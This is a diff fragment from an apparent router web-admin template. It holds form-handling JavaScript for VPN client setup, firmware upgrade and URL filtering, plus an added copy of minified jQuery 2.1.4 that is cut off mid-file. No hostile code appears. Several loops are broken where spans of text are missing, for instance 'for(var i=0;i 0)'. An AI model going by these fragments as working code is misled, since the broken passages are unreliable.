+ } + +} +function disableAllFields() +{ + + + /* for ( var i=1; i<=9; i++) + { + var z = parent.document.getElementById('btn' + i); + //alert(z.getAttribute("onClick")); + z.setAttribute('onClick_bak', z.getAttribute('onClick')); + //alert("before:" + z.getAttribute('onClick')); + //z.setAttribute("onClick", "function anonymous() { }"); + //alert("bak=" + z.getAttribute('onClick_bak')); + z.removeAttribute('onClick'); + }*/ + + /* + var e = parent.document.getElementsByTagName('a'); + //alert("e.length= " + e.length); + for(var i=0;i 0) + { + clearTimeout(rtime); + rpc = 0; + } + rload(); + rightframe.document.onmousedown=rnoClick; + top.document.onkeydown=rnoKey; +} + +var rpc = 0; +function rload() +{ + rpc=rpc+1; + + if (rpc > 100) + { + //location.href = rback_page; + clearTimeout(rtime); + return; + } + rsetWidth(self, "rlpc", rpc+"%"); + rsetHTML(self, "rpercent", rpc+"%"); + rtime = setTimeout("rload()",1800);//unit:0.1 second +} + +function rsetHTML(windowObj, el, htmlStr) +{ + if (rightframe.document.all) + { + if (windowObj.rightframe.document.all(el) ) + windowObj.rightframe.document.all(el).innerHTML = htmlStr; + } + else if (rightframe.document.getElementById) + { + if (windowObj.rightframe.document.getElementById(el) ) + windowObj.rightframe.document.getElementById(el).innerHTML = htmlStr; + } +} + +function rsetWidth(windowObj, el, newwidth) +{ + if (rightframe.document.all) + { + if (windowObj.rightframe.document.all(el) ) + windowObj.rightframe.document.all(el).style.width = newwidth ; + } + else if (rightframe.document.getElementById) + { + if (windowObj.rightframe.document.getElementById(el) ) + windowObj.rightframe.document.getElementById(el).style.width = newwidth; + } +} + +function alert_modify_data(idx, active) { + var cf = rightframe.document.forms[0]; + var username = eval("cf.vpn_client_username"+idx); + var password = eval("cf.vpn_client_password"+idx); + var passchange = eval("cf.vpn_client_change"+idx); + var active = eval("cf.vpn_client_enabled"+idx); + + username.value = cf.QVPNusername.value; + password.value = cf.QVPNpassword.value; + if(cf.pass_change[0].checked==true) + passchange.value="1"; + else + passchange.value="0"; + passchange.value = (cf.pass_change[0].checked==true)?1:0; + /* Need set active */ + if(active==0) + active.value=1; + return; +} +function YES_AB() +{ + var cf = rightframe.document.forms[0]; + enableAllFields(); + + if(cf.name == "vpn_main") + { + cf.h_ipsec_select.value = cf.ipsec_select.options[cf.ipsec_select.selectedIndex].value; + cf.todo.value = "tunnel_del"; + cf.submit(); + return true; + } + + + if (cf.name == "firmwareupgrade") + { + if(cf.remote_upgrade_disable.value==1 && cf.remote_ip_in_local.value==0) + { + //alert("Remote Upgrade is disable, you can't upgrade firmware from remote\n"); + rALERT("FirmwareUpgrade", "Remote Upgrade is disable, you can't upgrade firmware from remote\n"); + return false; + } + rstartUpload(); + } + else if(cf.name == "url_filter") + { + var jump_str; + jump_str = "\""+ parent.location + "\""; + jump_str = jump_str.replace("url_filtering.htm","Factorydefaults.htm"); + jump_str = jump_str.substring(1,jump_str.length-1); + parent.location = jump_str; + return true; + } + else if(cf.name=="quickvpnsetup") + { + var username; + for(i=1; i<=5; i++) { + username = eval("cf.vpn_client_username"+i); + if(username.value!=""&&compare_str(username.value,cf.QVPNusername.value)==0) + { + rALERT("Quick_vpn_setup",msg_user_exist); + return; + } + } + for(i=1; i<=5; i++) + { + username = eval("cf.vpn_client_username"+i); + + if(username.value == "") + { + /* default active */ + alert_modify_data(i, 1); + cf.submit(); + return true; + } + } + rALERT("Quick_vpn_setup", msg_qvpn_full); + } + + if (rightframe.document.forms[1] && rightframe.document.forms[1].name== "restorefile") + { + rightframe.document.forms[1].submit(); + return true; + } + + + //cf.todo.value = "proceed"; + cf.submit(); + return true; +} + +function NO_AB() +{ + var jump_str; + + enableAllFields(); + var cf = rightframe.document.forms[0]; + + if (cf.name == "url_filter") + { + jump_str = "\""+ parent.location + "\""; + jump_str = jump_str.replace("url_filtering.htm","Setup_summary.htm"); + jump_str = jump_str.substring(1,jump_str.length-1); + parent.location = jump_str; + return true; + } + + return false; +} diff --git a/Sites/Template/cisco/js/jquery-2.1.4.min.js b/Sites/Template/cisco/js/jquery-2.1.4.min.js new file mode 100644 index 0000000..49990d6 --- /dev/null +++ b/Sites/Template/cisco/js/jquery-2.1.4.min.js @@ -0,0 +1,4 @@ +/*! jQuery v2.1.4 | (c) 2005, 2015 jQuery Foundation, Inc. | jquery.org/license */ +!function(a,b){"object"==typeof module&&"object"==typeof module.exports?module.exports=a.document?b(a,!0):function(a){if(!a.document)throw new Error("jQuery requires a window with a document");return b(a)}:b(a)}("undefined"!=typeof window?window:this,function(a,b){var c=[],d=c.slice,e=c.concat,f=c.push,g=c.indexOf,h={},i=h.toString,j=h.hasOwnProperty,k={},l=a.document,m="2.1.4",n=function(a,b){return new n.fn.init(a,b)},o=/^[\s\uFEFF\xA0]+|[\s\uFEFF\xA0]+$/g,p=/^-ms-/,q=/-([\da-z])/gi,r=function(a,b){return b.toUpperCase()};n.fn=n.prototype={jquery:m,constructor:n,selector:"",length:0,toArray:function(){return d.call(this)},get:function(a){return null!=a?0>a?this[a+this.length]:this[a]:d.call(this)},pushStack:function(a){var b=n.merge(this.constructor(),a);return b.prevObject=this,b.context=this.context,b},each:function(a,b){return n.each(this,a,b)},map:function(a){return this.pushStack(n.map(this,function(b,c){return a.call(b,c,b)}))},slice:function(){return this.pushStack(d.apply(this,arguments))},first:function(){return this.eq(0)},last:function(){return this.eq(-1)},eq:function(a){var b=this.length,c=+a+(0>a?b:0);return this.pushStack(c>=0&&b>c?[this[c]]:[])},end:function(){return this.prevObject||this.constructor(null)},push:f,sort:c.sort,splice:c.splice},n.extend=n.fn.extend=function(){var a,b,c,d,e,f,g=arguments[0]||{},h=1,i=arguments.length,j=!1;for("boolean"==typeof g&&(j=g,g=arguments[h]||{},h++),"object"==typeof g||n.isFunction(g)||(g={}),h===i&&(g=this,h--);i>h;h++)if(null!=(a=arguments[h]))for(b in a)c=g[b],d=a[b],g!==d&&(j&&d&&(n.isPlainObject(d)||(e=n.isArray(d)))?(e?(e=!1,f=c&&n.isArray(c)?c:[]):f=c&&n.isPlainObject(c)?c:{},g[b]=n.extend(j,f,d)):void 0!==d&&(g[b]=d));return g},n.extend({expando:"jQuery"+(m+Math.random()).replace(/\D/g,""),isReady:!0,error:function(a){throw new Error(a)},noop:function(){},isFunction:function(a){return"function"===n.type(a)},isArray:Array.isArray,isWindow:function(a){return null!=a&&a===a.window},isNumeric:function(a){return!n.isArray(a)&&a-parseFloat(a)+1>=0},isPlainObject:function(a){return"object"!==n.type(a)||a.nodeType||n.isWindow(a)?!1:a.constructor&&!j.call(a.constructor.prototype,"isPrototypeOf")?!1:!0},isEmptyObject:function(a){var b;for(b in a)return!1;return!0},type:function(a){return null==a?a+"":"object"==typeof a||"function"==typeof a?h[i.call(a)]||"object":typeof a},globalEval:function(a){var b,c=eval;a=n.trim(a),a&&(1===a.indexOf("use strict")?(b=l.createElement("script"),b.text=a,l.head.appendChild(b).parentNode.removeChild(b)):c(a))},camelCase:function(a){return a.replace(p,"ms-").replace(q,r)},nodeName:function(a,b){return a.nodeName&&a.nodeName.toLowerCase()===b.toLowerCase()},each:function(a,b,c){var d,e=0,f=a.length,g=s(a);if(c){if(g){for(;f>e;e++)if(d=b.apply(a[e],c),d===!1)break}else for(e in a)if(d=b.apply(a[e],c),d===!1)break}else if(g){for(;f>e;e++)if(d=b.call(a[e],e,a[e]),d===!1)break}else for(e in a)if(d=b.call(a[e],e,a[e]),d===!1)break;return a},trim:function(a){return null==a?"":(a+"").replace(o,"")},makeArray:function(a,b){var c=b||[];return null!=a&&(s(Object(a))?n.merge(c,"string"==typeof a?[a]:a):f.call(c,a)),c},inArray:function(a,b,c){return null==b?-1:g.call(b,a,c)},merge:function(a,b){for(var c=+b.length,d=0,e=a.length;c>d;d++)a[e++]=b[d];return a.length=e,a},grep:function(a,b,c){for(var d,e=[],f=0,g=a.length,h=!c;g>f;f++)d=!b(a[f],f),d!==h&&e.push(a[f]);return e},map:function(a,b,c){var d,f=0,g=a.length,h=s(a),i=[];if(h)for(;g>f;f++)d=b(a[f],f,c),null!=d&&i.push(d);else for(f in a)d=b(a[f],f,c),null!=d&&i.push(d);return e.apply([],i)},guid:1,proxy:function(a,b){var c,e,f;return"string"==typeof b&&(c=a[b],b=a,a=c),n.isFunction(a)?(e=d.call(arguments,2),f=function(){return a.apply(b||this,e.concat(d.call(arguments)))},f.guid=a.guid=a.guid||n.guid++,f):void 0},now:Date.now,support:k}),n.each("Boolean Number String Function Array Date RegExp Object Error".split(" "),function(a,b){h["[object "+b+"]"]=b.toLowerCase()});function s(a){var b="length"in a&&a.length,c=n.type(a);return"function"===c||n.isWindow(a)?!1:1===a.nodeType&&b?!0:"array"===c||0===b||"number"==typeof b&&b>0&&b-1 in a}var t=function(a){var b,c,d,e,f,g,h,i,j,k,l,m,n,o,p,q,r,s,t,u="sizzle"+1*new Date,v=a.document,w=0,x=0,y=ha(),z=ha(),A=ha(),B=function(a,b){return a===b&&(l=!0),0},C=1<<31,D={}.hasOwnProperty,E=[],F=E.pop,G=E.push,H=E.push,I=E.slice,J=function(a,b){for(var c=0,d=a.length;d>c;c++)if(a[c]===b)return c;return-1},K="checked|selected|async|autofocus|autoplay|controls|defer|disabled|hidden|ismap|loop|multiple|open|readonly|required|scoped",L="[\\x20\\t\\r\\n\\f]",M="(?:\\\\.|[\\w-]|[^\\x00-\\xa0])+",N=M.replace("w","w#"),O="\\["+L+"*("+M+")(?:"+L+"*([*^$|!~]?=)"+L+"*(?:'((?:\\\\.|[^\\\\'])*)'|\"((?:\\\\.|[^\\\\\"])*)\"|("+N+"))|)"+L+"*\\]",P=":("+M+")(?:\\((('((?:\\\\.|[^\\\\'])*)'|\"((?:\\\\.|[^\\\\\"])*)\")|((?:\\\\.|[^\\\\()[\\]]|"+O+")*)|.*)\\)|)",Q=new RegExp(L+"+","g"),R=new RegExp("^"+L+"+|((?:^|[^\\\\])(?:\\\\.)*)"+L+"+$","g"),S=new RegExp("^"+L+"*,"+L+"*"),T=new RegExp("^"+L+"*([>+~]|"+L+")"+L+"*"),U=new RegExp("="+L+"*([^\\]'\"]*?)"+L+"*\\]","g"),V=new RegExp(P),W=new RegExp("^"+N+"$"),X={ID:new RegExp("^#("+M+")"),CLASS:new RegExp("^\\.("+M+")"),TAG:new RegExp("^("+M.replace("w","w*")+")"),ATTR:new RegExp("^"+O),PSEUDO:new RegExp("^"+P),CHILD:new RegExp("^:(only|first|last|nth|nth-last)-(child|of-type)(?:\\("+L+"*(even|odd|(([+-]|)(\\d*)n|)"+L+"*(?:([+-]|)"+L+"*(\\d+)|))"+L+"*\\)|)","i"),bool:new RegExp("^(?:"+K+")$","i"),needsContext:new RegExp("^"+L+"*[>+~]|:(even|odd|eq|gt|lt|nth|first|last)(?:\\("+L+"*((?:-\\d)?\\d*)"+L+"*\\)|)(?=[^-]|$)","i")},Y=/^(?:input|select|textarea|button)$/i,Z=/^h\d$/i,$=/^[^{]+\{\s*\[native \w/,_=/^(?:#([\w-]+)|(\w+)|\.([\w-]+))$/,aa=/[+~]/,ba=/'|\\/g,ca=new RegExp("\\\\([\\da-f]{1,6}"+L+"?|("+L+")|.)","ig"),da=function(a,b,c){var d="0x"+b-65536;return d!==d||c?b:0>d?String.fromCharCode(d+65536):String.fromCharCode(d>>10|55296,1023&d|56320)},ea=function(){m()};try{H.apply(E=I.call(v.childNodes),v.childNodes),E[v.childNodes.length].nodeType}catch(fa){H={apply:E.length?function(a,b){G.apply(a,I.call(b))}:function(a,b){var c=a.length,d=0;while(a[c++]=b[d++]);a.length=c-1}}}function ga(a,b,d,e){var f,h,j,k,l,o,r,s,w,x;if((b?b.ownerDocument||b:v)!==n&&m(b),b=b||n,d=d||[],k=b.nodeType,"string"!=typeof a||!a||1!==k&&9!==k&&11!==k)return d;if(!e&&p){if(11!==k&&(f=_.exec(a)))if(j=f[1]){if(9===k){if(h=b.getElementById(j),!h||!h.parentNode)return d;if(h.id===j)return d.push(h),d}else if(b.ownerDocument&&(h=b.ownerDocument.getElementById(j))&&t(b,h)&&h.id===j)return d.push(h),d}else{if(f[2])return H.apply(d,b.getElementsByTagName(a)),d;if((j=f[3])&&c.getElementsByClassName)return H.apply(d,b.getElementsByClassName(j)),d}if(c.qsa&&(!q||!q.test(a))){if(s=r=u,w=b,x=1!==k&&a,1===k&&"object"!==b.nodeName.toLowerCase()){o=g(a),(r=b.getAttribute("id"))?s=r.replace(ba,"\\$&"):b.setAttribute("id",s),s="[id='"+s+"'] ",l=o.length;while(l--)o[l]=s+ra(o[l]);w=aa.test(a)&&pa(b.parentNode)||b,x=o.join(",")}if(x)try{return H.apply(d,w.querySelectorAll(x)),d}catch(y){}finally{r||b.removeAttribute("id")}}}return i(a.replace(R,"$1"),b,d,e)}function ha(){var a=[];function b(c,e){return a.push(c+" ")>d.cacheLength&&delete b[a.shift()],b[c+" "]=e}return b}function ia(a){return a[u]=!0,a}function ja(a){var b=n.createElement("div");try{return!!a(b)}catch(c){return!1}finally{b.parentNode&&b.parentNode.removeChild(b),b=null}}function ka(a,b){var c=a.split("|"),e=a.length;while(e--)d.attrHandle[c[e]]=b}function la(a,b){var c=b&&a,d=c&&1===a.nodeType&&1===b.nodeType&&(~b.sourceIndex||C)-(~a.sourceIndex||C);if(d)return d;if(c)while(c=c.nextSibling)if(c===b)return-1;return a?1:-1}function ma(a){return function(b){var c=b.nodeName.toLowerCase();return"input"===c&&b.type===a}}function na(a){return function(b){var c=b.nodeName.toLowerCase();return("input"===c||"button"===c)&&b.type===a}}function oa(a){return ia(function(b){return b=+b,ia(function(c,d){var e,f=a([],c.length,b),g=f.length;while(g--)c[e=f[g]]&&(c[e]=!(d[e]=c[e]))})})}function pa(a){return a&&"undefined"!=typeof a.getElementsByTagName&&a}c=ga.support={},f=ga.isXML=function(a){var b=a&&(a.ownerDocument||a).documentElement;return b?"HTML"!==b.nodeName:!1},m=ga.setDocument=function(a){var b,e,g=a?a.ownerDocument||a:v;return g!==n&&9===g.nodeType&&g.documentElement?(n=g,o=g.documentElement,e=g.defaultView,e&&e!==e.top&&(e.addEventListener?e.addEventListener("unload",ea,!1):e.attachEvent&&e.attachEvent("onunload",ea)),p=!f(g),c.attributes=ja(function(a){return a.className="i",!a.getAttribute("className")}),c.getElementsByTagName=ja(function(a){return a.appendChild(g.createComment("")),!a.getElementsByTagName("*").length}),c.getElementsByClassName=$.test(g.getElementsByClassName),c.getById=ja(function(a){return o.appendChild(a).id=u,!g.getElementsByName||!g.getElementsByName(u).length}),c.getById?(d.find.ID=function(a,b){if("undefined"!=typeof b.getElementById&&p){var c=b.getElementById(a);return c&&c.parentNode?[c]:[]}},d.filter.ID=function(a){var b=a.replace(ca,da);return function(a){return a.getAttribute("id")===b}}):(delete d.find.ID,d.filter.ID=function(a){var b=a.replace(ca,da);return function(a){var c="undefined"!=typeof a.getAttributeNode&&a.getAttributeNode("id");return c&&c.value===b}}),d.find.TAG=c.getElementsByTagName?function(a,b){return"undefined"!=typeof b.getElementsByTagName?b.getElementsByTagName(a):c.qsa?b.querySelectorAll(a):void 0}:function(a,b){var c,d=[],e=0,f=b.getElementsByTagName(a);if("*"===a){while(c=f[e++])1===c.nodeType&&d.push(c);return d}return f},d.find.CLASS=c.getElementsByClassName&&function(a,b){return p?b.getElementsByClassName(a):void 0},r=[],q=[],(c.qsa=$.test(g.querySelectorAll))&&(ja(function(a){o.appendChild(a).innerHTML="",a.querySelectorAll("[msallowcapture^='']").length&&q.push("[*^$]="+L+"*(?:''|\"\")"),a.querySelectorAll("[selected]").length||q.push("\\["+L+"*(?:value|"+K+")"),a.querySelectorAll("[id~="+u+"-]").length||q.push("~="),a.querySelectorAll(":checked").length||q.push(":checked"),a.querySelectorAll("a#"+u+"+*").length||q.push(".#.+[+~]")}),ja(function(a){var b=g.createElement("input");b.setAttribute("type","hidden"),a.appendChild(b).setAttribute("name","D"),a.querySelectorAll("[name=d]").length&&q.push("name"+L+"*[*^$|!~]?="),a.querySelectorAll(":enabled").length||q.push(":enabled",":disabled"),a.querySelectorAll("*,:x"),q.push(",.*:")})),(c.matchesSelector=$.test(s=o.matches||o.webkitMatchesSelector||o.mozMatchesSelector||o.oMatchesSelector||o.msMatchesSelector))&&ja(function(a){c.disconnectedMatch=s.call(a,"div"),s.call(a,"[s!='']:x"),r.push("!=",P)}),q=q.length&&new RegExp(q.join("|")),r=r.length&&new RegExp(r.join("|")),b=$.test(o.compareDocumentPosition),t=b||$.test(o.contains)?function(a,b){var c=9===a.nodeType?a.documentElement:a,d=b&&b.parentNode;return a===d||!(!d||1!==d.nodeType||!(c.contains?c.contains(d):a.compareDocumentPosition&&16&a.compareDocumentPosition(d)))}:function(a,b){if(b)while(b=b.parentNode)if(b===a)return!0;return!1},B=b?function(a,b){if(a===b)return l=!0,0;var d=!a.compareDocumentPosition-!b.compareDocumentPosition;return d?d:(d=(a.ownerDocument||a)===(b.ownerDocument||b)?a.compareDocumentPosition(b):1,1&d||!c.sortDetached&&b.compareDocumentPosition(a)===d?a===g||a.ownerDocument===v&&t(v,a)?-1:b===g||b.ownerDocument===v&&t(v,b)?1:k?J(k,a)-J(k,b):0:4&d?-1:1)}:function(a,b){if(a===b)return l=!0,0;var c,d=0,e=a.parentNode,f=b.parentNode,h=[a],i=[b];if(!e||!f)return a===g?-1:b===g?1:e?-1:f?1:k?J(k,a)-J(k,b):0;if(e===f)return la(a,b);c=a;while(c=c.parentNode)h.unshift(c);c=b;while(c=c.parentNode)i.unshift(c);while(h[d]===i[d])d++;return d?la(h[d],i[d]):h[d]===v?-1:i[d]===v?1:0},g):n},ga.matches=function(a,b){return ga(a,null,null,b)},ga.matchesSelector=function(a,b){if((a.ownerDocument||a)!==n&&m(a),b=b.replace(U,"='$1']"),!(!c.matchesSelector||!p||r&&r.test(b)||q&&q.test(b)))try{var d=s.call(a,b);if(d||c.disconnectedMatch||a.document&&11!==a.document.nodeType)return d}catch(e){}return ga(b,n,null,[a]).length>0},ga.contains=function(a,b){return(a.ownerDocument||a)!==n&&m(a),t(a,b)},ga.attr=function(a,b){(a.ownerDocument||a)!==n&&m(a);var e=d.attrHandle[b.toLowerCase()],f=e&&D.call(d.attrHandle,b.toLowerCase())?e(a,b,!p):void 0;return void 0!==f?f:c.attributes||!p?a.getAttribute(b):(f=a.getAttributeNode(b))&&f.specified?f.value:null},ga.error=function(a){throw new Error("Syntax error, unrecognized expression: "+a)},ga.uniqueSort=function(a){var b,d=[],e=0,f=0;if(l=!c.detectDuplicates,k=!c.sortStable&&a.slice(0),a.sort(B),l){while(b=a[f++])b===a[f]&&(e=d.push(f));while(e--)a.splice(d[e],1)}return k=null,a},e=ga.getText=function(a){var b,c="",d=0,f=a.nodeType;if(f){if(1===f||9===f||11===f){if("string"==typeof a.textContent)return a.textContent;for(a=a.firstChild;a;a=a.nextSibling)c+=e(a)}else if(3===f||4===f)return a.nodeValue}else while(b=a[d++])c+=e(b);return c},d=ga.selectors={cacheLength:50,createPseudo:ia,match:X,attrHandle:{},find:{},relative:{">":{dir:"parentNode",first:!0}," ":{dir:"parentNode"},"+":{dir:"previousSibling",first:!0},"~":{dir:"previousSibling"}},preFilter:{ATTR:function(a){return a[1]=a[1].replace(ca,da),a[3]=(a[3]||a[4]||a[5]||"").replace(ca,da),"~="===a[2]&&(a[3]=" "+a[3]+" "),a.slice(0,4)},CHILD:function(a){return a[1]=a[1].toLowerCase(),"nth"===a[1].slice(0,3)?(a[3]||ga.error(a[0]),a[4]=+(a[4]?a[5]+(a[6]||1):2*("even"===a[3]||"odd"===a[3])),a[5]=+(a[7]+a[8]||"odd"===a[3])):a[3]&&ga.error(a[0]),a},PSEUDO:function(a){var b,c=!a[6]&&a[2];return X.CHILD.test(a[0])?null:(a[3]?a[2]=a[4]||a[5]||"":c&&V.test(c)&&(b=g(c,!0))&&(b=c.indexOf(")",c.length-b)-c.length)&&(a[0]=a[0].slice(0,b),a[2]=c.slice(0,b)),a.slice(0,3))}},filter:{TAG:function(a){var b=a.replace(ca,da).toLowerCase();return"*"===a?function(){return!0}:function(a){return a.nodeName&&a.nodeName.toLowerCase()===b}},CLASS:function(a){var b=y[a+" "];return b||(b=new RegExp("(^|"+L+")"+a+"("+L+"|$)"))&&y(a,function(a){return b.test("string"==typeof a.className&&a.className||"undefined"!=typeof a.getAttribute&&a.getAttribute("class")||"")})},ATTR:function(a,b,c){return function(d){var e=ga.attr(d,a);return null==e?"!="===b:b?(e+="","="===b?e===c:"!="===b?e!==c:"^="===b?c&&0===e.indexOf(c):"*="===b?c&&e.indexOf(c)>-1:"$="===b?c&&e.slice(-c.length)===c:"~="===b?(" "+e.replace(Q," ")+" ").indexOf(c)>-1:"|="===b?e===c||e.slice(0,c.length+1)===c+"-":!1):!0}},CHILD:function(a,b,c,d,e){var f="nth"!==a.slice(0,3),g="last"!==a.slice(-4),h="of-type"===b;return 1===d&&0===e?function(a){return!!a.parentNode}:function(b,c,i){var j,k,l,m,n,o,p=f!==g?"nextSibling":"previousSibling",q=b.parentNode,r=h&&b.nodeName.toLowerCase(),s=!i&&!h;if(q){if(f){while(p){l=b;while(l=l[p])if(h?l.nodeName.toLowerCase()===r:1===l.nodeType)return!1;o=p="only"===a&&!o&&"nextSibling"}return!0}if(o=[g?q.firstChild:q.lastChild],g&&s){k=q[u]||(q[u]={}),j=k[a]||[],n=j[0]===w&&j[1],m=j[0]===w&&j[2],l=n&&q.childNodes[n];while(l=++n&&l&&l[p]||(m=n=0)||o.pop())if(1===l.nodeType&&++m&&l===b){k[a]=[w,n,m];break}}else if(s&&(j=(b[u]||(b[u]={}))[a])&&j[0]===w)m=j[1];else while(l=++n&&l&&l[p]||(m=n=0)||o.pop())if((h?l.nodeName.toLowerCase()===r:1===l.nodeType)&&++m&&(s&&((l[u]||(l[u]={}))[a]=[w,m]),l===b))break;return m-=e,m===d||m%d===0&&m/d>=0}}},PSEUDO:function(a,b){var c,e=d.pseudos[a]||d.setFilters[a.toLowerCase()]||ga.error("unsupported pseudo: "+a);return e[u]?e(b):e.length>1?(c=[a,a,"",b],d.setFilters.hasOwnProperty(a.toLowerCase())?ia(function(a,c){var d,f=e(a,b),g=f.length;while(g--)d=J(a,f[g]),a[d]=!(c[d]=f[g])}):function(a){return e(a,0,c)}):e}},pseudos:{not:ia(function(a){var b=[],c=[],d=h(a.replace(R,"$1"));return d[u]?ia(function(a,b,c,e){var f,g=d(a,null,e,[]),h=a.length;while(h--)(f=g[h])&&(a[h]=!(b[h]=f))}):function(a,e,f){return b[0]=a,d(b,null,f,c),b[0]=null,!c.pop()}}),has:ia(function(a){return function(b){return ga(a,b).length>0}}),contains:ia(function(a){return a=a.replace(ca,da),function(b){return(b.textContent||b.innerText||e(b)).indexOf(a)>-1}}),lang:ia(function(a){return W.test(a||"")||ga.error("unsupported lang: "+a),a=a.replace(ca,da).toLowerCase(),function(b){var c;do if(c=p?b.lang:b.getAttribute("xml:lang")||b.getAttribute("lang"))return c=c.toLowerCase(),c===a||0===c.indexOf(a+"-");while((b=b.parentNode)&&1===b.nodeType);return!1}}),target:function(b){var c=a.location&&a.location.hash;return c&&c.slice(1)===b.id},root:function(a){return a===o},focus:function(a){return a===n.activeElement&&(!n.hasFocus||n.hasFocus())&&!!(a.type||a.href||~a.tabIndex)},enabled:function(a){return a.disabled===!1},disabled:function(a){return a.disabled===!0},checked:function(a){var b=a.nodeName.toLowerCase();return"input"===b&&!!a.checked||"option"===b&&!!a.selected},selected:function(a){return a.parentNode&&a.parentNode.selectedIndex,a.selected===!0},empty:function(a){for(a=a.firstChild;a;a=a.nextSibling)if(a.nodeType<6)return!1;return!0},parent:function(a){return!d.pseudos.empty(a)},header:function(a){return Z.test(a.nodeName)},input:function(a){return Y.test(a.nodeName)},button:function(a){var b=a.nodeName.toLowerCase();return"input"===b&&"button"===a.type||"button"===b},text:function(a){var b;return"input"===a.nodeName.toLowerCase()&&"text"===a.type&&(null==(b=a.getAttribute("type"))||"text"===b.toLowerCase())},first:oa(function(){return[0]}),last:oa(function(a,b){return[b-1]}),eq:oa(function(a,b,c){return[0>c?c+b:c]}),even:oa(function(a,b){for(var c=0;b>c;c+=2)a.push(c);return a}),odd:oa(function(a,b){for(var c=1;b>c;c+=2)a.push(c);return a}),lt:oa(function(a,b,c){for(var d=0>c?c+b:c;--d>=0;)a.push(d);return a}),gt:oa(function(a,b,c){for(var d=0>c?c+b:c;++db;b++)d+=a[b].value;return d}function sa(a,b,c){var d=b.dir,e=c&&"parentNode"===d,f=x++;return b.first?function(b,c,f){while(b=b[d])if(1===b.nodeType||e)return a(b,c,f)}:function(b,c,g){var h,i,j=[w,f];if(g){while(b=b[d])if((1===b.nodeType||e)&&a(b,c,g))return!0}else while(b=b[d])if(1===b.nodeType||e){if(i=b[u]||(b[u]={}),(h=i[d])&&h[0]===w&&h[1]===f)return j[2]=h[2];if(i[d]=j,j[2]=a(b,c,g))return!0}}}function ta(a){return a.length>1?function(b,c,d){var e=a.length;while(e--)if(!a[e](b,c,d))return!1;return!0}:a[0]}function ua(a,b,c){for(var d=0,e=b.length;e>d;d++)ga(a,b[d],c);return c}function va(a,b,c,d,e){for(var f,g=[],h=0,i=a.length,j=null!=b;i>h;h++)(f=a[h])&&(!c||c(f,d,e))&&(g.push(f),j&&b.push(h));return g}function wa(a,b,c,d,e,f){return d&&!d[u]&&(d=wa(d)),e&&!e[u]&&(e=wa(e,f)),ia(function(f,g,h,i){var j,k,l,m=[],n=[],o=g.length,p=f||ua(b||"*",h.nodeType?[h]:h,[]),q=!a||!f&&b?p:va(p,m,a,h,i),r=c?e||(f?a:o||d)?[]:g:q;if(c&&c(q,r,h,i),d){j=va(r,n),d(j,[],h,i),k=j.length;while(k--)(l=j[k])&&(r[n[k]]=!(q[n[k]]=l))}if(f){if(e||a){if(e){j=[],k=r.length;while(k--)(l=r[k])&&j.push(q[k]=l);e(null,r=[],j,i)}k=r.length;while(k--)(l=r[k])&&(j=e?J(f,l):m[k])>-1&&(f[j]=!(g[j]=l))}}else r=va(r===g?r.splice(o,r.length):r),e?e(null,g,r,i):H.apply(g,r)})}function xa(a){for(var b,c,e,f=a.length,g=d.relative[a[0].type],h=g||d.relative[" "],i=g?1:0,k=sa(function(a){return a===b},h,!0),l=sa(function(a){return J(b,a)>-1},h,!0),m=[function(a,c,d){var e=!g&&(d||c!==j)||((b=c).nodeType?k(a,c,d):l(a,c,d));return b=null,e}];f>i;i++)if(c=d.relative[a[i].type])m=[sa(ta(m),c)];else{if(c=d.filter[a[i].type].apply(null,a[i].matches),c[u]){for(e=++i;f>e;e++)if(d.relative[a[e].type])break;return wa(i>1&&ta(m),i>1&&ra(a.slice(0,i-1).concat({value:" "===a[i-2].type?"*":""})).replace(R,"$1"),c,e>i&&xa(a.slice(i,e)),f>e&&xa(a=a.slice(e)),f>e&&ra(a))}m.push(c)}return ta(m)}function ya(a,b){var c=b.length>0,e=a.length>0,f=function(f,g,h,i,k){var l,m,o,p=0,q="0",r=f&&[],s=[],t=j,u=f||e&&d.find.TAG("*",k),v=w+=null==t?1:Math.random()||.1,x=u.length;for(k&&(j=g!==n&&g);q!==x&&null!=(l=u[q]);q++){if(e&&l){m=0;while(o=a[m++])if(o(l,g,h)){i.push(l);break}k&&(w=v)}c&&((l=!o&&l)&&p--,f&&r.push(l))}if(p+=q,c&&q!==p){m=0;while(o=b[m++])o(r,s,g,h);if(f){if(p>0)while(q--)r[q]||s[q]||(s[q]=F.call(i));s=va(s)}H.apply(i,s),k&&!f&&s.length>0&&p+b.length>1&&ga.uniqueSort(i)}return k&&(w=v,j=t),r};return c?ia(f):f}return h=ga.compile=function(a,b){var c,d=[],e=[],f=A[a+" "];if(!f){b||(b=g(a)),c=b.length;while(c--)f=xa(b[c]),f[u]?d.push(f):e.push(f);f=A(a,ya(e,d)),f.selector=a}return f},i=ga.select=function(a,b,e,f){var i,j,k,l,m,n="function"==typeof a&&a,o=!f&&g(a=n.selector||a);if(e=e||[],1===o.length){if(j=o[0]=o[0].slice(0),j.length>2&&"ID"===(k=j[0]).type&&c.getById&&9===b.nodeType&&p&&d.relative[j[1].type]){if(b=(d.find.ID(k.matches[0].replace(ca,da),b)||[])[0],!b)return e;n&&(b=b.parentNode),a=a.slice(j.shift().value.length)}i=X.needsContext.test(a)?0:j.length;while(i--){if(k=j[i],d.relative[l=k.type])break;if((m=d.find[l])&&(f=m(k.matches[0].replace(ca,da),aa.test(j[0].type)&&pa(b.parentNode)||b))){if(j.splice(i,1),a=f.length&&ra(j),!a)return H.apply(e,f),e;break}}}return(n||h(a,o))(f,b,!p,e,aa.test(a)&&pa(b.parentNode)||b),e},c.sortStable=u.split("").sort(B).join("")===u,c.detectDuplicates=!!l,m(),c.sortDetached=ja(function(a){return 1&a.compareDocumentPosition(n.createElement("div"))}),ja(function(a){return a.innerHTML="","#"===a.firstChild.getAttribute("href")})||ka("type|href|height|width",function(a,b,c){return c?void 0:a.getAttribute(b,"type"===b.toLowerCase()?1:2)}),c.attributes&&ja(function(a){return a.innerHTML="",a.firstChild.setAttribute("value",""),""===a.firstChild.getAttribute("value")})||ka("value",function(a,b,c){return c||"input"!==a.nodeName.toLowerCase()?void 0:a.defaultValue}),ja(function(a){return null==a.getAttribute("disabled")})||ka(K,function(a,b,c){var d;return c?void 0:a[b]===!0?b.toLowerCase():(d=a.getAttributeNode(b))&&d.specified?d.value:null}),ga}(a);n.find=t,n.expr=t.selectors,n.expr[":"]=n.expr.pseudos,n.unique=t.uniqueSort,n.text=t.getText,n.isXMLDoc=t.isXML,n.contains=t.contains;var u=n.expr.match.needsContext,v=/^<(\w+)\s*\/?>(?:<\/\1>|)$/,w=/^.[^:#\[\.,]*$/;function 